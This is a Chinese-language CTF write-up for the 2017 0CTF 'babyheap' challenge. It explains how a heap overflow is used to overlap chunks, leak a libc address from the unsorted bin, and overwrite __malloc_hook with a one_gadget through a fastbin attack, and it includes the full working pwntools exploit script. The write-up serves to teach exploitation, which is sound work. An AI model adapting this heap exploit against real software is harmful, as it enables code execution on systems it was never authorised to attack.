2017 0ctf babyheap

之前学习了一下lager bins的构建,今天来学习一下堆重叠和堆扩展
先找漏洞点
2017 0ctf babyheap这里没有对大小进行检查,可以输入任意字节,存在字节溢出
此题的难点在于如何泄露libc,由于add使用calloc的原因,当堆块从bins中拿出来时,会清空堆块
很明显我们要申请大的堆块进入unsorted bins来使main_aren+88写在堆块上,我们可以使上一个堆块扩展到这个堆块上来进行泄露
先贴上exp

from pwn import *
context.log_level = 'debug'
context.update(terminal=['tmux','splitw','-h'])
libc=ELF('./libc-2.23.so')
io=process('./babyheap')
def add(a):
	io.sendlineafter('Command: ','1')
	io.sendlineafter('Size: ',str(a))

def edit(a,b,c):
	io.sendlineafter('Command: ','2')
	io.sendlineafter('Index: ',str(a))
	io.sendlineafter('Size: ',str(b))
	io.sendafter('Content: ',c)

def free(a):
	io.sendlineafter('Command: ','3')
	io.sendlineafter('Index: ',str(a))

def show(a):
	io.sendlineafter('Command: ','4')
	io.sendlineafter('Index: ',str(a))
add(0x10)
add(0x40)
add(0x100)
add(0x10)
payload='a'*0x10+p64(0)+p64(0x71)
edit(0,len(payload),payload)
payload='a'*0x10+p64(0x70)+p64(0x111)
edit(2,len(payload),payload)
free(1)
add(0x60)
edit(1, 0x40 + 0x10, 'b' * 0x40 + p64(0) + p64(0x111))
add(0x10)
free(2)
show(1)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print ("libc_base =" +hex(libc_base) )
libc.address=libc_base-0x3c4b78
malloc_hook = libc.symbols['__malloc_hook'] 
system_addr = libc.symbols['system']
print ('malloc = '+hex(malloc_hook))
free(1)
payload='a'*0x10+p64(0)+p64(0x71)+p64(malloc_hook-27-8)
edit(0,len(payload),payload)
add(0x60)
add(0x60)
payload = 'a'*(27+8-0x10)+ p64(libc.address + 0x4527a)
edit(2,len(payload),payload)
add(0x10)
io.interactive()

我们申请四个堆块

add(0x10)
add(0x40)
add(0x100)
add(0x10)

第一个用来对第二个堆块溢出,第三个是用来进行unsorted bins的,第四个堆块来防止上个堆块与top chunk合并
当我们要泄漏libc时,很明显要扩展到unsorted bins的fd位,为了泄露libc,我们要让第二个堆扩展0x20,来和unsorted bins的fd进行重叠

payload='a'*0x10+p64(0)+p64(0x71)
edit(0,len(payload),payload)
payload='a'*0x10+p64(0x70)+p64(0x111)
edit(2,len(payload),payload)

首先我们要把size扩大,但free时存在检查,我们要把下一个堆块的pre_size位和size位改正

free(1)
add(0x60)
edit(1, 0x40 + 0x10, 'b' * 0x40 + p64(0) + p64(0x111))
add(0x10)

释放堆块,在申请回来,这样原本0x40大小的堆块变成了0x60大小,但因为calloc的影响,我们要在对下一个堆块的head进行修改,申请一个堆块来防止合并

free(2)
show(1)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print ("libc_base =" +hex(libc_base) )
libc.address=libc_base-0x3c4b78

释放unsorted bins,unsorted bins的位置和大小都没变,但是吧0x60的一部分释放掉了,所以当我们show0x60时,会把libc一起释放出来

malloc_hook = libc.symbols['__malloc_hook'] 
system_addr = libc.symbols['system']
print ('malloc = '+hex(malloc_hook))
free(1)
payload='a'*0x10+p64(0)+p64(0x71)+p64(malloc_hook-27-8)
edit(0,len(payload),payload)

接下来就是常规的劫持流,fastbins要检查size位的,如果我们之间申请malloc hook的话会出错,所以我们要在malloc上面找一个和0x70有关的数
经过调试我们发现在malloc-35的位置值是0x7f,由于in_use位的关系低位和大小无关,所以这个size当做0x70大小,正好符合我们的要求

edit(0,len(payload),payload)
add(0x60)
add(0x60)
payload = 'a'*(27+8-0x10)+ p64(libc.address + 0x4527a)
edit(2,len(payload),payload)
add(0x10)
io.interactive()

修改fd位,申请到malloc hook上面的堆块,进行填充到malloc_hook,填入one_gadget,我们申请堆块的时候就会触发

上一篇:CSP-J2021 报灵记 & CSP-S2021 打酱油记


下一篇:BUUCTF:[0CTF 2016]piapiapia -----代码审计+字符串逃逸+数组绕过长度限制+以及一下小知识点